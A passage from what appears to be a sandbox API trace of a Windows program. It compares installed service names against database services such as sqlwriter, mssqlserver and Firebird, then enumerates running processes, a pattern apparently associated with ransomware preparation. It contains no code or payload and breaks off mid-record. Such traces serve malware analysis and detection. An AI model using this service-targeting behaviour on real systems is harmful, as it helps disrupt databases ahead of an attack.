lpString2="DcomLaunch") returned 1 [0285.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0285.359] lstrlenW (lpString="DeviceAssociationService") returned 24 [0285.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0285.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0285.359] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0285.359] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0285.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0285.359] lstrlenW (lpString="Dhcp") returned 4 [0285.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0285.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0285.359] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0285.359] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0285.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0285.359] lstrlenW (lpString="Dnscache") returned 8 [0285.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0285.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0285.360] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0285.360] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0285.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0285.360] lstrlenW (lpString="DoSvc") returned 5 [0285.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0285.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0285.360] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0285.360] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0285.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0285.360] lstrlenW (lpString="DPS") returned 3 [0285.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0285.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0285.360] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0285.360] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0285.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0285.360] lstrlenW (lpString="DusmSvc") returned 7 [0285.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0285.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0285.360] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0285.360] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0285.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0285.360] lstrlenW (lpString="EventLog") returned 8 [0285.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0285.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0285.361] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0285.361] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0285.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0285.361] lstrlenW (lpString="EventSystem") returned 11 [0285.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0285.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0285.361] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0285.361] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0285.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0285.361] lstrlenW (lpString="FontCache") returned 9 [0285.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0285.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0285.361] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0285.361] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0285.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0285.361] lstrlenW (lpString="gpsvc") returned 5 [0285.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0285.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0285.361] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0285.361] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0285.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0285.361] lstrlenW (lpString="iphlpsvc") returned 8 [0285.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0285.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0285.361] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0285.361] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0285.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0285.361] lstrlenW (lpString="KeyIso") returned 6 [0285.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0285.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0285.361] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0285.362] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0285.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0285.362] lstrlenW (lpString="LanmanServer") returned 12 [0285.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0285.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0285.362] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0285.362] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0285.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0285.362] lstrlenW (lpString="LanmanWorkstation") returned 17 [0285.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0285.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0285.362] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0285.362] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0285.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0285.362] lstrlenW (lpString="lfsvc") returned 5 [0285.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0285.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0285.362] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0285.362] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0285.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0285.362] lstrlenW (lpString="lmhosts") returned 7 [0285.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0285.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0285.362] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0285.362] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0285.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0285.362] lstrlenW (lpString="LSM") returned 3 [0285.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0285.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0285.363] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0285.363] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0285.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0285.363] lstrlenW (lpString="MpsSvc") returned 6 [0285.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0285.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0285.363] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0285.363] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0285.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0285.363] lstrlenW (lpString="NcbService") returned 10 [0285.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0285.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0285.363] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0285.363] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0285.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0285.363] lstrlenW (lpString="netprofm") returned 8 [0285.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0285.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0285.363] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0285.363] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0285.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0285.363] lstrlenW (lpString="NgcSvc") returned 6 [0285.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0285.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0285.363] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0285.364] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0285.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0285.364] lstrlenW (lpString="NlaSvc") returned 6 [0285.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0285.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0285.364] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0285.364] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0285.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0285.364] lstrlenW (lpString="nsi") returned 3 [0285.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0285.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0285.364] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0285.364] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0285.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0285.364] lstrlenW (lpString="PcaSvc") returned 6 [0285.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0285.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0285.364] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0285.364] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0285.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0285.364] lstrlenW (lpString="PlugPlay") returned 8 [0285.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0285.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0285.364] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0285.364] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0285.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0285.365] lstrlenW (lpString="Power") returned 5 [0285.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0285.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0285.365] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0285.365] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0285.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0285.365] lstrlenW (lpString="ProfSvc") returned 7 [0285.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0285.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0285.365] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0285.365] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0285.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0285.365] lstrlenW (lpString="RpcEptMapper") returned 12 [0285.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0285.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0285.365] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0285.365] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0285.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0285.365] lstrlenW (lpString="RpcSs") returned 5 [0285.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0285.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0285.365] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0285.365] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0285.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0285.365] lstrlenW (lpString="SamSs") returned 5 [0285.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0285.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0285.365] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0285.365] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0285.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0285.365] lstrlenW (lpString="Schedule") returned 8 [0285.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0285.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0285.365] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0285.366] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0285.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0285.366] lstrlenW (lpString="SecurityHealthService") returned 21 [0285.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0285.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0285.366] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0285.366] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0285.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0285.366] lstrlenW (lpString="SENS") returned 4 [0285.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0285.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0285.366] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0285.366] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0285.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0285.366] lstrlenW (lpString="ShellHWDetection") returned 16 [0285.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0285.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0285.366] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0285.366] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0285.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0285.366] lstrlenW (lpString="Spooler") returned 7 [0285.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0285.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0285.366] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0285.366] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0285.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0285.366] lstrlenW (lpString="SSDPSRV") returned 7 [0285.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0285.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0285.366] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0285.366] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0285.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0285.366] lstrlenW (lpString="StateRepository") returned 15 [0285.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0285.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0285.367] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0285.367] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0285.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0285.367] lstrlenW (lpString="SysMain") returned 7 [0285.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0285.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0285.367] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0285.367] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0285.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0285.367] lstrlenW (lpString="SystemEventsBroker") returned 18 [0285.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0285.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0285.367] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0285.367] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0285.367] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4567fb0 | out: hHeap=0x6e0000) returned 1 [0285.367] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4c4 [0285.371] Process32FirstW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0285.371] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0285.372] lstrlenW (lpString="System") returned 6 [0285.372] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0285.372] lstrlenW (lpString="smss.exe") returned 8 [0285.372] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0285.373] lstrlenW (lpString="csrss.exe") returned 9 [0285.373] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0285.374] lstrlenW (lpString="wininit.exe") returned 11 [0285.374] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0285.374] lstrlenW (lpString="csrss.exe") returned 9 [0285.374] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0285.375] lstrlenW (lpString="winlogon.exe") returned 12 [0285.375] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0285.376] lstrlenW (lpString="services.exe") returned 12 [0285.376] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0285.376] lstrlenW (lpString="lsass.exe") returned 9 [0285.376] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0285.377] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0285.377] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0285.378] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0285.378] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.378] lstrlenW (lpString="svchost.exe") returned 11 [0285.379] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.379] lstrlenW (lpString="svchost.exe") returned 11 [0285.379] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0285.380] lstrlenW (lpString="dwm.exe") returned 7 [0285.380] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.381] lstrlenW (lpString="svchost.exe") returned 11 [0285.381] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.382] lstrlenW (lpString="svchost.exe") returned 11 [0285.382] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.382] lstrlenW (lpString="svchost.exe") returned 11 [0285.382] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.383] lstrlenW (lpString="svchost.exe") returned 11 [0285.383] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.384] lstrlenW (lpString="svchost.exe") returned 11 [0285.384] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.384] lstrlenW (lpString="svchost.exe") returned 11 [0285.384] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.385] lstrlenW (lpString="svchost.exe") returned 11 [0285.385] Process32NextW (in: hSnapshot=0x4c4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, 